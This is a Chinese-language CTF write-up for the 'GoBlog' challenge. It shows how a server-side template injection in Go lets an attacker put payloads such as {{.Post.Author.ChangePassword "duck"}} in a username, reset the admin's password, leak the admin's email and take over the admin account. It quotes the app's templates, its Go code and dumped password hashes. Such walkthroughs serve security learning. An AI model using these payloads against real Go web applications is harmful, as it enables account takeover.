目录导航
GoBlog

概括
这是一篇为CTF写的文章。
该应用程序容易受到 SSTI 方法混淆的影响,此处提到。这意味着您可以访问在模板中传递的结构可用的方法,/web/
显示正在提供的模板,且/models/
显示正在使用的功能。通过滥用模板在 golang 中的工作方式,我们可以访问该ChangePassword
方法并更改管理员的密码,从而允许我们接管管理员帐户并访问/admin

SSTI
SSTI 的想法来自于了解其中的内容/web/
,包括引用标志的管理模板{{.Flag}}
以及博客的其余模板。
admin.html.tmpl
base.html.tmpl
index.html.tmpl
new_post.html.tmpl
post.html.tmpl
profile.html.tmpl
signin.html.tmpl
signup.html.tmpl
测试 SSTI 的常用有效负载在这里不起作用,如果您尝试使用{{7*7}}
应用程序会破坏的东西,我们可以在登录后通过将用户名更改为in{{.}}
来查看哪些数据正在传递给模板。这里我们得到了这个信息反映在右上角的用户名中,我们还可以使用传递给模板的对象来检查其中的数据。data: {{.}}
/profile
{{.CurrentUser}}

{
38e367f9-6065-4717-87bf-5fd938589b8f
{{.CurrentUser}}
09d8d7b2345e48f3dbe42d81883b9cf4a5d2de2264929c0a99d0957fcfba3d697b30bf4b5b3c0218f211a037446fbda831949d46d9a15cc30e503a63474ec4e5
[email protected] false 2021-09-18 18:37:39.851096876 +0000 UTC
2021-09-18 19:04:01.69805924 +0000 UTC
}
困惑
如果我们看看/models/
这是应用程序保存与数据库交互的逻辑的地方,最有趣的函数是 in /models/users.go
,它具有我们可以使用 SSTI 执行的函数,但只有少数可以传递参数并具有所需的数据结构其余参数可用。我想调用的Create()
函数是 中的函数,users.go
但它不接受任何参数并使用传递给模板的数据结构。另一个允许我传递参数的有趣函数是,ChangePassword(newPassword string)
但是如果我们调用它,就像{{.CurrentUser.ChangePassword "duck"}}
它会更改我们自己的密码一样,这很酷,但如果我们可以更改密码,那就更酷congon4tor's
了。问题是我们在/profile
模板包含我们自己的详细信息。
/profile
模板文件包含数据结构,它包含当前用户的CurrentUser
所有信息,我们可以用来访问该users.go
结构中数据内部的其他方法,它填充了我们想要劫持的函数中的参数。
// template for /profile
{{define "styles"}}
<style></style>
{{ end }}
{{define "content"}}
<div class="container">
<div class="row">
<div class="jumbotron mt-5">
<form action="/profile" method="post">
<div class="mb-3">
<label for="exampleFormControlInput1" class="form-label">Username</label>
<input type="text" class="form-control" id="exampleFormControlInput1" placeholder="Username" name="username" value="{{.CurrentUser.Username}}">
</div>
<div class="mb-3">
<label for="exampleFormControlInput2" class="form-label">Email</label>
<input type="text" class="form-control" id="exampleFormControlInput2" placeholder="Email" readonly value="{{.CurrentUser.Email}}">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
{{end}}
我们需要以某种方式获取数据结构来显示congon4tor's
信息,如果我们使用我们的{{.}}
有效负载,我们可以检查是否有任何页面披露了该信息,这里我使用了我们登录时的原始博客文章,如果我们从管理员访问该文章我们可以看到数据结构来自congon4tor
用户,这是我们需要的。

{[{
5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a
{
608a3505-2fa9-46b6-b149-e085f3f2e85b
congon4tor
1ebbab4803520862d1a5ba5bcc192643e03562c0a59a0b48911336e0c07e0a4ad8d4710b385935a35c176bb29c847281ba75721c849105f37d24b8e934c3a1ac [email protected]
false
2021-07-24 13:26:01.837939032 +0200 +0200
2021-07-24 13:26:01.837938977 +0200 +0200
}
Welcome to GoBlog Welcome to GoBlog a website where you can post all your travel adventures for others to enjoy. Talk about the places you visited, the food you tried, the people you met and the culture of the place you visited. It is also a good idea to give others some tips and tricks you learnt during your trip.
Thanks for sharing with the community!
https://www.bloggingwp.com/wp-content/uploads/2018/01/Travel-blog.jpeg
2021-07-24 13:42:53.033357338 +0200 +0200
2021-07-24 13:42:53.033357391 +0200 +0200
}]}
但是我们如何才能从帖子的页面中访问ChangePassword该功能呢?如果我们尝试使用与以前相同的有效负载{{.CurrentUser.ChangePassword "duck"}}
,然后转到帖子 url [http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a](http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a)
,应用程序将中断,因为我们{{.CurrentUser}}
的/post
模板中没有:
{{define "content"}}
<header class="masthead" style="background-image: url('{{.Post.Thumbnail}}')">
<div class="tint">
<div class="container position-relative px-4 px-lg-5">
<div class="row gx-4 gx-lg-5 justify-content-center">
<div class="col-md-10 col-lg-8 col-xl-7">
<div class="post-heading mt-3">
<h1>{{.Post.Title}}</h1>
<span class="meta">
Posted by
{{.Post.Author.Username}}
on {{.Post.UpdatedAt.Format "02 Jan 06 15:04"}}
</span>
</div>
</div>
</div>
</div>
</div>
</header>
<div class="container px-4 px-lg-5">
<div class="row gx-4 gx-lg-5 justify-content-center">
<div class="col-md-10 col-lg-8 col-xl-7">
<pre class="content">{{.Post.Content}}</pre>
</div>
</div>
</div>
{{end}}
但是我们确实可以访问{{.Post}}
作者提供的哪些信息,该对象包含我们需要的所有信息ChangePassword
。现在我们如何访问我们需要的方法?我们可以通过直接从作者结构调用它来做到这一点,这是可能的,因为author
这里使用的结构是我们的Users
结构,其中包含ChangePassword
我们需要的功能,并且在这篇文章中传递的数据将使用管理员的详细信息填充参数
func (u User) ChangePassword(newPassword string) error {
db := GetConnection()
q := `UPDATE users set hashed_password=?
WHERE id=?`
stmt, err := db.Prepare(q)
if err != nil {
return err
}
defer stmt.Close()
h := sha512.New()
h.Write([]byte(newPassword))
// this will be the admins ID when we visit the blog's page
r, err := stmt.Exec(hex.EncodeToString(h.Sum(nil)), u.ID)
if err != nil {
return err
}
if i, err := r.RowsAffected(); err != nil || i != 1 {
return errors.New("ERROR: Expected one row modified")
}
return nil
}
现在有了这些信息,我们需要:
- 将我们的用户名更改为我们的有效负载:
{{.Post.Author.ChangePassword "duck"}}
- 导航到博客文章
congon4tor's
- http://challenge.ctf.games:31737/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a
- 此时密码已更改,但您需要电子邮件地址才能登录
- 通过将我们的用户名设置为来获取
congon4tor
电子邮件{{.Post.Author.Email}}
- 再次导航到
congon4tor's
博客文章(电子邮件应该在右上角)

- 使用以下方式登录
congon4tor's
帐户:email: [email protected]: duck
- 访问
/admin

转载请注明出处及链接